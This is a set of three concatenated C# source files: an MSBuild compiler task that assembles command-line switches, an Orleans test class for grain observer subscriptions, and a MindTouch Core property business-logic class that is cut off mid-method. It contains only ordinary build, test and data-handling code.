workingDirectory = Directory.GetCurrentDirectory();
return workingDirectory;
}
/// <summary>
/// Get the "LIB" environment variable, or NULL if none.
/// </summary>
private string LibDirectoryToUse()
{
// First check the real environment.
string libDirectory = Environment.GetEnvironmentVariable("LIB");
// Now go through additional environment variables.
string[] additionalVariables = EnvironmentVariables;
if (additionalVariables != null)
{
foreach (string var in EnvironmentVariables)
{
if (var.StartsWith("LIB=", StringComparison.OrdinalIgnoreCase))
{
libDirectory = var.Substring(4);
}
}
}
return libDirectory;
}
/// <summary>
/// The return code of the compilation. Strangely, this isn't overridable from ToolTask, so we need
/// to create our own.
/// </summary>
[Output]
public new int ExitCode { get; private set; }
/// <summary>
/// Handle a response from the server, reporting messages and returning
/// the appropriate exit code.
/// </summary>
private int HandleResponse(BuildResponse response, string pathToTool, string responseFileCommands, string commandLineCommands)
{
switch (response.Type)
{
case BuildResponse.ResponseType.MismatchedVersion:
LogErrorOutput(CommandLineParser.MismatchedVersionErrorText);
return -1;
case BuildResponse.ResponseType.Completed:
var completedResponse = (CompletedBuildResponse)response;
LogMessages(completedResponse.Output, StandardOutputImportanceToUse);
if (LogStandardErrorAsError)
{
LogErrorOutput(completedResponse.ErrorOutput);
}
else
{
LogMessages(completedResponse.ErrorOutput, StandardErrorImportanceToUse);
}
return completedResponse.ReturnCode;
case BuildResponse.ResponseType.Rejected:
case BuildResponse.ResponseType.AnalyzerInconsistency:
return base.ExecuteTool(pathToTool, responseFileCommands, commandLineCommands);
default:
throw new InvalidOperationException("Encountered unknown response type");
}
}
private void LogErrorOutput(string output)
{
string[] lines = output.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
foreach (string line in lines)
{
string trimmedMessage = line.Trim();
if (trimmedMessage != "")
{
Log.LogError(trimmedMessage);
}
}
}
/// <summary>
/// Log each of the messages in the given output with the given importance.
/// We assume each line is a message to log.
/// </summary>
/// <remarks>
/// Should be "private protected" visibility once it is introduced into C#.
/// </remarks>
internal abstract void LogMessages(string output, MessageImportance messageImportance);
public string GenerateResponseFileContents()
{
return GenerateResponseFileCommands();
}
/// <summary>
/// Get the command line arguments to pass to the compiler.
/// </summary>
private string[] GetArguments(string commandLineCommands, string responseFileCommands)
{
var commandLineArguments =
CommandLineParser.SplitCommandLineIntoArguments(commandLineCommands, removeHashComments: true);
var responseFileArguments =
CommandLineParser.SplitCommandLineIntoArguments(responseFileCommands, removeHashComments: true);
return commandLineArguments.Concat(responseFileArguments).ToArray();
}
/// <summary>
/// Returns the command line switch used by the tool executable to specify the response file
/// Will only be called if the task returned a non empty string from GetResponseFileCommands
/// Called after ValidateParameters, SkipTaskExecution and GetResponseFileCommands
/// </summary>
protected override string GenerateResponseFileCommands()
{
CommandLineBuilderExtension commandLineBuilder = new CommandLineBuilderExtension();
AddResponseFileCommands(commandLineBuilder);
return commandLineBuilder.ToString();
}
protected override string GenerateCommandLineCommands()
{
CommandLineBuilderExtension commandLineBuilder = new CommandLineBuilderExtension();
AddCommandLineCommands(commandLineBuilder);
return commandLineBuilder.ToString();
}
/// <summary>
/// Fills the provided CommandLineBuilderExtension with those switches and other information that can't go into a response file and
/// must go directly onto the command line.
/// </summary>
protected internal virtual void AddCommandLineCommands(CommandLineBuilderExtension commandLine)
{
commandLine.AppendWhenTrue("/noconfig", _store, nameof(NoConfig));
}
/// <summary>
/// Fills the provided CommandLineBuilderExtension with those switches and other information that can go into a response file.
/// </summary>
protected internal virtual void AddResponseFileCommands(CommandLineBuilderExtension commandLine)
{
// If outputAssembly is not specified, then an "/out: <name>" option won't be added to
// overwrite the one resulting from the OutputAssembly member of the CompilerParameters class.
// In that case, we should set the outputAssembly member based on the first source file.
if (
(OutputAssembly == null) &&
(Sources != null) &&
(Sources.Length > 0) &&
(ResponseFiles == null) // The response file may already have a /out: switch in it, so don't try to be smart here.
)
{
try
{
OutputAssembly = new TaskItem(Path.GetFileNameWithoutExtension(Sources[0].ItemSpec));
}
catch (ArgumentException e)
{
throw new ArgumentException(e.Message, "Sources");
}
if (string.Compare(TargetType, "library", StringComparison.OrdinalIgnoreCase) == 0)
{
OutputAssembly.ItemSpec += ".dll";
}
else if (string.Compare(TargetType, "module", StringComparison.OrdinalIgnoreCase) == 0)
{
OutputAssembly.ItemSpec += ".netmodule";
}
else
{
OutputAssembly.ItemSpec += ".exe";
}
}
commandLine.AppendSwitchIfNotNull("/addmodule:", AddModules, ",");
commandLine.AppendSwitchWithInteger("/codepage:", _store, nameof(CodePage));
ConfigureDebugProperties();
// The "DebugType" parameter should be processed after the "EmitDebugInformation" parameter
// because it's more specific. Order matters on the command-line, and the last one wins.
// /debug+ is just a shorthand for /debug:full. And /debug- is just a shorthand for /debug:none.
commandLine.AppendPlusOrMinusSwitch("/debug", _store, nameof(EmitDebugInformation));
commandLine.AppendSwitchIfNotNull("/debug:", DebugType);
commandLine.AppendPlusOrMinusSwitch("/delaysign", _store, nameof(DelaySign));
commandLine.AppendSwitchWithInteger("/filealign:", _store, nameof(FileAlignment));
commandLine.AppendSwitchIfNotNull("/keycontainer:", KeyContainer);
commandLine.AppendSwitchIfNotNull("/keyfile:", KeyFile);
// If the strings "LogicalName" or "Access" ever change, make sure to search/replace everywhere in vsproject.
commandLine.AppendSwitchIfNotNull("/linkresource:", LinkResources, new string[] { "LogicalName", "Access" });
commandLine.AppendWhenTrue("/nologo", _store, nameof(NoLogo));
commandLine.AppendWhenTrue("/nowin32manifest", _store, nameof(NoWin32Manifest));
commandLine.AppendPlusOrMinusSwitch("/optimize", _store, nameof(Optimize));
commandLine.AppendSwitchIfNotNull("/pathmap:", PathMap);
commandLine.AppendSwitchIfNotNull("/out:", OutputAssembly);
commandLine.AppendSwitchIfNotNull("/ruleset:", CodeAnalysisRuleSet);
commandLine.AppendSwitchIfNotNull("/errorlog:", ErrorLog);
commandLine.AppendSwitchIfNotNull("/subsystemversion:", SubsystemVersion);
commandLine.AppendWhenTrue("/reportanalyzer", _store, nameof(ReportAnalyzer));
// If the strings "LogicalName" or "Access" ever change, make sure to search/replace everywhere in vsproject.
commandLine.AppendSwitchIfNotNull("/resource:", Resources, new string[] { "LogicalName", "Access" });
commandLine.AppendSwitchIfNotNull("/target:", TargetType);
commandLine.AppendPlusOrMinusSwitch("/warnaserror", _store, nameof(TreatWarningsAsErrors));
commandLine.AppendWhenTrue("/utf8output", _store, nameof(Utf8Output));
commandLine.AppendSwitchIfNotNull("/win32icon:", Win32Icon);
commandLine.AppendSwitchIfNotNull("/win32manifest:", Win32Manifest);
AddResponseFileCommandsForSwitchesSinceInitialReleaseThatAreNeededByTheHost(commandLine);
AddAnalyzersToCommandLine(commandLine, Analyzers);
AddAdditionalFilesToCommandLine(commandLine);
// Append the sources.
commandLine.AppendFileNamesIfNotNull(Sources, " ");
}
internal void AddResponseFileCommandsForSwitchesSinceInitialReleaseThatAreNeededByTheHost(CommandLineBuilderExtension commandLine)
{
commandLine.AppendPlusOrMinusSwitch("/deterministic", _store, nameof(Deterministic));
commandLine.AppendPlusOrMinusSwitch("/publicsign", _store, nameof(PublicSign));
commandLine.AppendSwitchIfNotNull("/runtimemetadataversion:", RuntimeMetadataVersion);
commandLine.AppendSwitchIfNotNull("/checksumalgorithm:", ChecksumAlgorithm);
AddFeatures(commandLine, Features);
}
/// <summary>
/// Adds a "/features:" switch to the command line for each provided feature.
/// </summary>
internal static void AddFeatures(CommandLineBuilderExtension commandLine, string features)
{
if (string.IsNullOrEmpty(features))
{
return;
}
foreach (var feature in CompilerOptionParseUtilities.ParseFeatureFromMSBuild(features))
{
commandLine.AppendSwitchIfNotNull("/features:", feature.Trim());
}
}
/// <summary>
/// Adds a "/analyzer:" switch to the command line for each provided analyzer.
/// </summary>
internal static void AddAnalyzersToCommandLine(CommandLineBuilderExtension commandLine, ITaskItem[] analyzers)
{
// If there were no analyzers passed in, don't add any /analyzer: switches
// on the command-line.
if (analyzers == null)
{
return;
}
foreach (ITaskItem analyzer in analyzers)
{
commandLine.AppendSwitchIfNotNull("/analyzer:", analyzer.ItemSpec);
}
}
/// <summary>
/// Adds a "/additionalfile:" switch to the command line for each additional file.
/// </summary>
private void AddAdditionalFilesToCommandLine(CommandLineBuilderExtension commandLine)
{
// If there were no additional files passed in, don't add any /additionalfile: switches
// on the command-line.
if (AdditionalFiles == null)
{
return;
}
foreach (ITaskItem additionalFile in AdditionalFiles)
{
commandLine.AppendSwitchIfNotNull("/additionalfile:", additionalFile.ItemSpec);
}
}
/// <summary>
/// Configure the debug switches which will be placed on the compiler command-line.
/// The matrix of debug type and symbol inputs and the desired results is as follows:
///
/// Debug Symbols DebugType Desired Results
/// True Full /debug+ /debug:full
/// True PdbOnly /debug+ /debug:PdbOnly
/// True None /debug-
/// True Blank /debug+
/// False Full /debug- /debug:full
/// False PdbOnly /debug- /debug:PdbOnly
/// False None /debug-
/// False Blank /debug-
/// Blank Full /debug:full
/// Blank PdbOnly /debug:PdbOnly
/// Blank None /debug-
/// Debug: Blank Blank /debug+ //Microsoft.common.targets will set this
/// Release: Blank Blank "Nothing for either switch"
///
/// The logic is as follows:
/// If debugtype is none set debugtype to empty and debugSymbols to false
/// If debugType is blank use the debugsymbols "as is"
/// If debug type is set, use its value and the debugsymbols value "as is"
/// </summary>
private void ConfigureDebugProperties()
{
// If debug type is set we need to take some action depending on the value. If debugtype is not set
// We don't need to modify the EmitDebugInformation switch as its value will be used as is.
if (_store[nameof(DebugType)] != null)
{
// If debugtype is none then only show debug- else use the debug type and the debugsymbols as is.
if (string.Compare((string)_store[nameof(DebugType)], "none", StringComparison.OrdinalIgnoreCase) == 0)
{
_store[nameof(DebugType)] = null;
_store[nameof(EmitDebugInformation)] = false;
}
}
}
/// <summary>
/// Validate parameters, log errors and warnings and return true if
/// Execute should proceed.
/// </summary>
protected override bool ValidateParameters()
{
return ListHasNoDuplicateItems(Resources, nameof(Resources), "LogicalName", Log) && ListHasNoDuplicateItems(Sources, nameof(Sources), Log);
}
/// <summary>
/// Returns true if the provided item list contains duplicate items, false otherwise.
/// </summary>
internal static bool ListHasNoDuplicateItems(ITaskItem[] itemList, string parameterName, TaskLoggingHelper log)
{
return ListHasNoDuplicateItems(itemList, parameterName, null, log);
}
/// <summary>
/// Returns true if the provided item list contains duplicate items, false otherwise.
/// </summary>
/// <param name="itemList"></param>
/// <param name="disambiguatingMetadataName">Optional name of metadata that may legitimately disambiguate items. May be null.</param>
/// <param name="parameterName"></param>
/// <param name="log"></param>
private static bool ListHasNoDuplicateItems(ITaskItem[] itemList, string parameterName, string disambiguatingMetadataName, TaskLoggingHelper log)
{
if (itemList == null || itemList.Length == 0)
{
return true;
}
Hashtable alreadySeen = new Hashtable(StringComparer.OrdinalIgnoreCase);
foreach (ITaskItem item in itemList)
{
string key;
string disambiguatingMetadataValue = null;
if (disambiguatingMetadataName != null)
{
disambiguatingMetadataValue = item.GetMetadata(disambiguatingMetadataName);
}
if (disambiguatingMetadataName == null || string.IsNullOrEmpty(disambiguatingMetadataValue))
{
key = item.ItemSpec;
}
else
{
key = item.ItemSpec + ":" + disambiguatingMetadataValue;
}
if (alreadySeen.ContainsKey(key))
{
if (disambiguatingMetadataName == null || string.IsNullOrEmpty(disambiguatingMetadataValue))
{
log.LogErrorWithCodeFromResources("General_DuplicateItemsNotSupported", item.ItemSpec, parameterName);
}
else
{
log.LogErrorWithCodeFromResources("General_DuplicateItemsNotSupportedWithMetadata", item.ItemSpec, parameterName, disambiguatingMetadataValue, disambiguatingMetadataName);
}
return false;
}
else
{
alreadySeen[key] = string.Empty;
}
}
return true;
}
/// <summary>
/// Allows tool to handle the return code.
/// This method will only be called with non-zero exitCode.
/// </summary>
protected override bool HandleTaskExecutionErrors()
{
// For managed compilers, the compiler should emit the appropriate
// error messages before returning a non-zero exit code, so we don't
// normally need to emit any additional messages now.
//
// If somehow the compiler DID return a non-zero exit code and didn't log an error, we'd like to log that exit code.
// We can only do this for the command line compiler: if the inproc compiler was used,
// we can't tell what if anything it logged as it logs directly to Visual Studio's output window.
//
if (!Log.HasLoggedErrors && UsedCommandLineTool)
{
// This will log a message "MSB3093: The command exited with code {0}."
base.HandleTaskExecutionErrors();
}
return false;
}
/// <summary>
/// Takes a list of files and returns the normalized locations of these files
/// </summary>
private void NormalizePaths(ITaskItem[] taskItems)
{
foreach (var item in taskItems)
{
item.ItemSpec = Utilities.GetFullPathNoThrow(item.ItemSpec);
}
}
/// <summary>
/// Whether the command line compiler was invoked, instead
/// of the host object compiler.
/// </summary>
protected bool UsedCommandLineTool
{
get;
set;
}
private bool _hostCompilerSupportsAllParameters;
protected bool HostCompilerSupportsAllParameters
{
get { return _hostCompilerSupportsAllParameters; }
set { _hostCompilerSupportsAllParameters = value; }
}
/// <summary>
/// Checks the bool result from calling one of the methods on the host compiler object to
/// set one of the parameters. If it returned false, that means the host object doesn't
/// support a particular parameter or variation on a parameter. So we log a comment,
/// and set our state so we know not to call the host object to do the actual compilation.
/// </summary>
/// <owner>RGoel</owner>
protected void CheckHostObjectSupport
(
string parameterName,
bool resultFromHostObjectSetOperation
)
{
if (!resultFromHostObjectSetOperation)
{
Log.LogMessageFromResources(MessageImportance.Normal, "General_ParameterUnsupportedOnHostCompiler", parameterName);
_hostCompilerSupportsAllParameters = false;
}
}
internal void InitializeHostObjectSupportForNewSwitches(ITaskHost hostObject, ref string param)
{
var compilerOptionsHostObject = hostObject as ICompilerOptionsHostObject;
if (compilerOptionsHostObject != null)
{
var commandLineBuilder = new CommandLineBuilderExtension();
AddResponseFileCommandsForSwitchesSinceInitialReleaseThatAreNeededByTheHost(commandLineBuilder);
param = "CompilerOptions";
CheckHostObjectSupport(param, compilerOptionsHostObject.SetCompilerOptions(commandLineBuilder.ToString()));
}
}
/// <summary>
/// Checks to see whether all of the passed-in references exist on disk before we launch the compiler.
/// </summary>
/// <owner>RGoel</owner>
protected bool CheckAllReferencesExistOnDisk()
{
if (null == References)
{
// No references
return true;
}
bool success = true;
foreach (ITaskItem reference in References)
{
if (!File.Exists(reference.ItemSpec))
{
success = false;
Log.LogErrorWithCodeFromResources("General_ReferenceDoesNotExist", reference.ItemSpec);
}
}
return success;
}
/// <summary>
/// The IDE and command line compilers unfortunately differ in how win32
/// manifests are specified. In particular, the command line compiler offers a
/// "/nowin32manifest" switch, while the IDE compiler does not offer analogous
/// functionality. If this switch is omitted from the command line and no win32
/// manifest is specified, the compiler will include a default win32 manifest
/// named "default.win32manifest" found in the same directory as the compiler
/// executable. Again, the IDE compiler does not offer analogous support.
///
/// We'd like to imitate the command line compiler's behavior in the IDE, but
/// it isn't aware of the default file, so we must compute the path to it if
/// noDefaultWin32Manifest is false and no win32Manifest was provided by the
/// project.
///
/// This method will only be called during the initialization of the host object,
/// which is only used during IDE builds.
/// </summary>
/// <returns>the path to the win32 manifest to provide to the host object</returns>
internal string GetWin32ManifestSwitch
(
bool noDefaultWin32Manifest,
string win32Manifest
)
{
if (!noDefaultWin32Manifest)
{
if (string.IsNullOrEmpty(win32Manifest) && string.IsNullOrEmpty(Win32Resource))
{
// We only want to consider the default.win32manifest if this is an executable
if (!string.Equals(TargetType, "library", StringComparison.OrdinalIgnoreCase)
&& !string.Equals(TargetType, "module", StringComparison.OrdinalIgnoreCase))
{
// We need to compute the path to the default win32 manifest
string pathToDefaultManifest = ToolLocationHelper.GetPathToDotNetFrameworkFile
(
"default.win32manifest",
// We are choosing to pass Version46 instead of VersionLatest. TargetDotNetFrameworkVersion
// is an enum, and VersionLatest is not some sentinel value but rather a constant that is
// equal to the highest version defined in the enum. Enum values, being constants, are baked
// into consuming assembly, so specifying VersionLatest means not the latest version wherever
// this code is running, but rather the latest version of the framework according to the
// reference assembly with which this assembly was built. As of this writing, we are building
// our bits on machines with Visual Studio 2015 that know about 4.6.1, so specifying
// VersionLatest would bake in the enum value for 4.6.1. But we need to run on machines with
// MSBuild that only know about Version46 (and no higher), so VersionLatest will fail there.
// Explicitly passing Version46 prevents this problem.
TargetDotNetFrameworkVersion.Version46
);
if (null == pathToDefaultManifest)
{
// This is rather unlikely, and the inproc compiler seems to log an error anyway.
// So just a message is fine.
Log.LogMessageFromResources
(
"General_ExpectedFileMissing",
"default.win32manifest"
);
}
return pathToDefaultManifest;
}
}
}
return win32Manifest;
}
}
}
| |
using System;
using System.Diagnostics;
using System.Threading.Tasks;
using Orleans;
using Orleans.Runtime;
using Orleans.TestingHost.Utils;
using TestExtensions;
using UnitTests.GrainInterfaces;
using Xunit;
namespace DefaultCluster.Tests.General
{
/// <summary>
/// Summary description for ObserverTests
/// </summary>
public class ObserverTests : HostedTestClusterEnsureDefaultStarted
{
private readonly TimeSpan timeout = Debugger.IsAttached ? TimeSpan.FromMinutes(5) : TimeSpan.FromSeconds(10);
private int callbackCounter;
private readonly bool[] callbacksRecieved = new bool[2];
// we keep the observer objects as instance variables to prevent them from
// being garbage collected permaturely (the runtime stores them as weak references).
private SimpleGrainObserver observer1;
private SimpleGrainObserver observer2;
public void TestInitialize()
{
callbackCounter = 0;
callbacksRecieved[0] = false;
callbacksRecieved[1] = false;
observer1 = null;
observer2 = null;
}
private ISimpleObserverableGrain GetGrain()
{
return GrainFactory.GetGrain<ISimpleObserverableGrain>(GetRandomGrainId());
}
[Fact, TestCategory("BVT"), TestCategory("Functional")]
public async Task ObserverTest_SimpleNotification()
{
TestInitialize();
var result = new AsyncResultHandle();
ISimpleObserverableGrain grain = GetGrain();
observer1 = new SimpleGrainObserver(ObserverTest_SimpleNotification_Callback, result);
ISimpleGrainObserver reference = await GrainFactory.CreateObjectReference<ISimpleGrainObserver>(this.observer1);
await grain.Subscribe(reference);
await grain.SetA(3);
await grain.SetB(2);
Assert.True(await result.WaitForFinished(timeout));
await GrainFactory.DeleteObjectReference<ISimpleGrainObserver>(reference);
}
[Fact, TestCategory("BVT"), TestCategory("Functional")]
public async Task ObserverTest_SimpleNotification_GeneratedFactory()
{
TestInitialize();
var result = new AsyncResultHandle();
ISimpleObserverableGrain grain = GetGrain();
observer1 = new SimpleGrainObserver(ObserverTest_SimpleNotification_Callback, result);
ISimpleGrainObserver reference = await GrainFactory.CreateObjectReference<ISimpleGrainObserver>(observer1);
await grain.Subscribe(reference);
await grain.SetA(3);
await grain.SetB(2);
Assert.True(await result.WaitForFinished(timeout));
await GrainFactory.DeleteObjectReference<ISimpleGrainObserver>(reference);
}
void ObserverTest_SimpleNotification_Callback(int a, int b, AsyncResultHandle result)
{
callbackCounter++;
logger.Info("Invoking ObserverTest_SimpleNotification_Callback for {0} time with a = {1} and b = {2}", callbackCounter, a, b);
if (a == 3 && b == 0)
callbacksRecieved[0] = true;
else if (a == 3 && b == 2)
callbacksRecieved[1] = true;
else
throw new ArgumentOutOfRangeException("Unexpected callback with values: a=" + a + ",b=" + b);
if (callbackCounter == 1)
{
// Allow for callbacks occurring in any order
Assert.True(callbacksRecieved[0] || callbacksRecieved[1]);
}
else if (callbackCounter == 2)
{
Assert.True(callbacksRecieved[0] && callbacksRecieved[1]);
result.Done = true;
}
else
{
Assert.True(false);
}
}
[Fact, TestCategory("SlowBVT"), TestCategory("Functional")]
public async Task ObserverTest_DoubleSubscriptionSameReference()
{
TestInitialize();
var result = new AsyncResultHandle();
ISimpleObserverableGrain grain = GetGrain();
observer1 = new SimpleGrainObserver(ObserverTest_DoubleSubscriptionSameReference_Callback, result);
ISimpleGrainObserver reference = await GrainFactory.CreateObjectReference<ISimpleGrainObserver>(observer1);
await grain.Subscribe(reference);
await grain.SetA(1); // Use grain
try
{
await grain.Subscribe(reference);
}
catch (TimeoutException)
{
throw;
}
catch (Exception exc)
{
Exception baseException = exc.GetBaseException();
logger.Info("Received exception: {0}", baseException);
Assert.IsAssignableFrom<OrleansException>(baseException);
if (!baseException.Message.StartsWith("Cannot subscribe already subscribed observer"))
{
Assert.True(false, "Unexpected exception message: " + baseException);
}
}
await grain.SetA(2); // Use grain
Assert.False(await result.WaitForFinished(timeout), string.Format("Should timeout waiting {0} for SetA(2)", timeout));
await GrainFactory.DeleteObjectReference<ISimpleGrainObserver>(reference);
}
void ObserverTest_DoubleSubscriptionSameReference_Callback(int a, int b, AsyncResultHandle result)
{
callbackCounter++;
logger.Info("Invoking ObserverTest_DoubleSubscriptionSameReference_Callback for {0} time with a={1} and b={2}", callbackCounter, a, b);
Assert.True(callbackCounter <= 2, "Callback has been called more times than was expected " + callbackCounter);
if (callbackCounter == 2)
{
result.Continue = true;
}
}
[Fact, TestCategory("SlowBVT"), TestCategory("Functional")]
public async Task ObserverTest_SubscribeUnsubscribe()
{
TestInitialize();
var result = new AsyncResultHandle();
ISimpleObserverableGrain grain = GetGrain();
observer1 = new SimpleGrainObserver(ObserverTest_SubscribeUnsubscribe_Callback, result);
ISimpleGrainObserver reference = await GrainFactory.CreateObjectReference<ISimpleGrainObserver>(observer1);
await grain.Subscribe(reference);
await grain.SetA(5);
Assert.True(await result.WaitForContinue(timeout), string.Format("Should not timeout waiting {0} for SetA", timeout));
await grain.Unsubscribe(reference);
await grain.SetB(3);
Assert.False(await result.WaitForFinished(timeout), string.Format("Should timeout waiting {0} for SetB", timeout));
await GrainFactory.DeleteObjectReference<ISimpleGrainObserver>(reference);
}
void ObserverTest_SubscribeUnsubscribe_Callback(int a, int b, AsyncResultHandle result)
{
callbackCounter++;
logger.Info("Invoking ObserverTest_SubscribeUnsubscribe_Callback for {0} time with a = {1} and b = {2}", callbackCounter, a, b);
Assert.True(callbackCounter < 2, "Callback has been called more times than was expected.");
Assert.Equal(5, a);
Assert.Equal(0, b);
result.Continue = true;
}
[Fact, TestCategory("BVT"), TestCategory("Functional")]
public async Task ObserverTest_Unsubscribe()
{
TestInitialize();
ISimpleObserverableGrain grain = GetGrain();
observer1 = new SimpleGrainObserver(null, null);
ISimpleGrainObserver reference = await GrainFactory.CreateObjectReference<ISimpleGrainObserver>(observer1);
try
{
await grain.Unsubscribe(reference);
await GrainFactory.DeleteObjectReference<ISimpleGrainObserver>(reference);
}
catch (TimeoutException)
{
throw;
}
catch (Exception exc)
{
Exception baseException = exc.GetBaseException();
if (!(baseException is OrleansException))
Assert.True(false);
}
}
[Fact, TestCategory("BVT"), TestCategory("Functional")]
public async Task ObserverTest_DoubleSubscriptionDifferentReferences()
{
TestInitialize();
var result = new AsyncResultHandle();
ISimpleObserverableGrain grain = GetGrain();
observer1 = new SimpleGrainObserver(ObserverTest_DoubleSubscriptionDifferentReferences_Callback, result);
ISimpleGrainObserver reference1 = await GrainFactory.CreateObjectReference<ISimpleGrainObserver>(observer1);
observer2 = new SimpleGrainObserver(ObserverTest_DoubleSubscriptionDifferentReferences_Callback, result);
ISimpleGrainObserver reference2 = await GrainFactory.CreateObjectReference<ISimpleGrainObserver>(observer2);
await grain.Subscribe(reference1);
await grain.Subscribe(reference2);
grain.SetA(6).Ignore();
Assert.True(await result.WaitForFinished(timeout), string.Format("Should not timeout waiting {0} for SetA", timeout));
await GrainFactory.DeleteObjectReference<ISimpleGrainObserver>(reference1);
await GrainFactory.DeleteObjectReference<ISimpleGrainObserver>(reference2);
}
void ObserverTest_DoubleSubscriptionDifferentReferences_Callback(int a, int b, AsyncResultHandle result)
{
callbackCounter++;
logger.Info("Invoking ObserverTest_DoubleSubscriptionDifferentReferences_Callback for {0} time with a = {1} and b = {2}", callbackCounter, a, b);
Assert.True(callbackCounter < 3, "Callback has been called more times than was expected.");
Assert.Equal(6, a);
Assert.Equal(0, b);
if (callbackCounter == 2)
result.Done = true;
}
[Fact, TestCategory("SlowBVT"), TestCategory("Functional")]
public async Task ObserverTest_DeleteObject()
{
TestInitialize();
var result = new AsyncResultHandle();
ISimpleObserverableGrain grain = GetGrain();
observer1 = new SimpleGrainObserver(ObserverTest_DeleteObject_Callback, result);
ISimpleGrainObserver reference = await GrainFactory.CreateObjectReference<ISimpleGrainObserver>(observer1);
await grain.Subscribe(reference);
await grain.SetA(5);
Assert.True(await result.WaitForContinue(timeout), string.Format("Should not timeout waiting {0} for SetA", timeout));
await GrainFactory.DeleteObjectReference<ISimpleGrainObserver>(reference);
await grain.SetB(3);
Assert.False(await result.WaitForFinished(timeout), string.Format("Should timeout waiting {0} for SetB", timeout));
}
void ObserverTest_DeleteObject_Callback(int a, int b, AsyncResultHandle result)
{
callbackCounter++;
logger.Info("Invoking ObserverTest_DeleteObject_Callback for {0} time with a = {1} and b = {2}", callbackCounter, a, b);
Assert.True(callbackCounter < 2, "Callback has been called more times than was expected.");
Assert.Equal(5, a);
Assert.Equal(0, b);
result.Continue = true;
}
[Fact, TestCategory("BVT"), TestCategory("Functional")]
public async Task ObserverTest_SubscriberMustBeGrainReference()
{
TestInitialize();
await Xunit.Assert.ThrowsAsync(typeof(NotSupportedException), async () =>
{
var result = new AsyncResultHandle();
ISimpleObserverableGrain grain = GetGrain();
observer1 = new SimpleGrainObserver(ObserverTest_SimpleNotification_Callback, result);
ISimpleGrainObserver reference = observer1;
// Should be: GrainFactory.CreateObjectReference<ISimpleGrainObserver>(obj);
await grain.Subscribe(reference);
// Not reached
});
}
internal class SimpleGrainObserver : ISimpleGrainObserver
{
readonly Action<int, int, AsyncResultHandle> action;
readonly AsyncResultHandle result;
public SimpleGrainObserver(Action<int, int, AsyncResultHandle> action, AsyncResultHandle result)
{
this.action = action;
this.result = result;
}
#region ISimpleGrainObserver Members
public void StateChanged(int a, int b)
{
GrainClient.Logger.Verbose("SimpleGrainObserver.StateChanged a={0} b={1}", a, b);
action?.Invoke(a, b, result);
}
#endregion
}
}
}
| |
/*
* MindTouch Core - open source enterprise collaborative networking
* Copyright (c) 2006-2010 MindTouch Inc.
* www.mindtouch.com oss@mindtouch.com
*
* For community documentation and downloads visit www.opengarden.org;
* please review the licensing section.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
* http://www.gnu.org/copyleft/gpl.html
*/
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System;
using MindTouch.Deki.Data;
using MindTouch.Dream;
using MindTouch.IO;
using MindTouch.Xml;
namespace MindTouch.Deki.Logic {
public enum AbortEnum {
Never,
Exists,
Modified
}
public class PropertyBL : ResourceBL<PropertyBE> {
// -- Constants --
public const uint DEFAULT_CONTENT_CUTOFF = 1024 * 2; //Maximum length of content to be previewed when looking at multiple properties
// -- Constructors --
protected PropertyBL(ResourceBE.Type defaultResourceType) : base(defaultResourceType) { }
public static PropertyBL Instance {
get { return new PropertyBL(ResourceBE.Type.PROPERTY); }
}
// -- Methods --
public PropertyBE UpdateContent(PropertyBE prop, ResourceContentBE content, string changeDescription, string eTag, AbortEnum abort, XUri parentUri, ResourceBE.Type parentType) {
if(abort == AbortEnum.Modified) {
ValidateEtag(eTag, prop, true);
}
prop = BuildRevForContentUpdate(prop, content.MimeType, content.Size, changeDescription, null, content);
prop = SaveResource(prop);
DekiContext.Current.Instance.EventSink.PropertyUpdate(DreamContext.Current.StartTime, prop, DekiContext.Current.User, parentType, parentUri);
return prop;
}
public PropertyBE Create(uint? parentId, XUri parentUri, ResourceBE.Type parentType, ResourceBE parentResource, string name, ResourceContentBE content, string description, string etag, AbortEnum abort) {
//TODO: The parent resource isn't verified when the resource name and the parent info is given
PropertyBE prop = GetResource(parentId, parentType, name);
if(prop != null) {
if(abort == AbortEnum.Exists) {
throw new DreamAbortException(DreamMessage.Conflict(string.Format(DekiResources.PROPERTY_ALREADY_EXISTS, name)));
} else if(abort == AbortEnum.Modified) {
ValidateEtag(etag, prop, true);
}
prop = BuildRevForContentUpdate(prop, content.MimeType, content.Size, description, null, content);
prop = SaveResource(prop);
DekiContext.Current.Instance.EventSink.PropertyUpdate(DreamContext.Current.StartTime, prop, DekiContext.Current.User, parentType, parentUri);
} else {
if((abort == AbortEnum.Modified) && !string.IsNullOrEmpty(etag)) {
throw new DreamAbortException(DreamMessage.Conflict(DekiResources.PROPERTY_UNEXPECTED_ETAG));
}
if(parentResource == null) {
prop = BuildRevForNewResource(parentId, parentType, name, content.MimeType, content.Size, description, ResourceBE.Type.PROPERTY, DekiContext.Current.User.ID, content);
} else {
prop = BuildRevForNewResource(parentResource, name, content.MimeType, content.Size, description, ResourceBE.Type.PROPERTY, DekiContext.Current.User.ID, content);
}
prop = SaveResource(prop);
DekiContext.Current.Instance.EventSink.PropertyCreate(DreamContext.Current.StartTime, prop, DekiContext.Current.User, parentType, parentUri);
}
return prop;
}
public PropertyBE[] SaveBatch(uint? parentId, XUri parentUri, ResourceBE.Type parentType, ResourceBE parentResource, XDoc doc, out string[] failedNames, out Dictionary<string, DreamMessage> saveStatusByName) {
//This is a specialized method that saves a batch of property updates in one request and connects them with a transaction.
//Successful updates are returned
//Status/description of each property update is returned as well as a hash of dreammessages by name
saveStatusByName = new Dictionary<string, DreamMessage>();
List<string> failedNamesList = new List<string>();
Dictionary<string, PropertyBE> resourcesByName = new Dictionary<string, PropertyBE>();
List<PropertyBE> ret = new List<PropertyBE>();
//Get list of names and perform dupe check
foreach(XDoc propDoc in doc["/properties/property"]) {
string name = propDoc["@name"].AsText ?? string.Empty;
if(resourcesByName.ContainsKey(name)) {
throw new DreamAbortException(DreamMessage.BadRequest(string.Format(DekiResources.PROPERTY_DUPE_EXCEPTION, name)));
}
resourcesByName[name] = null;
}
//Retrieve current properties with given name
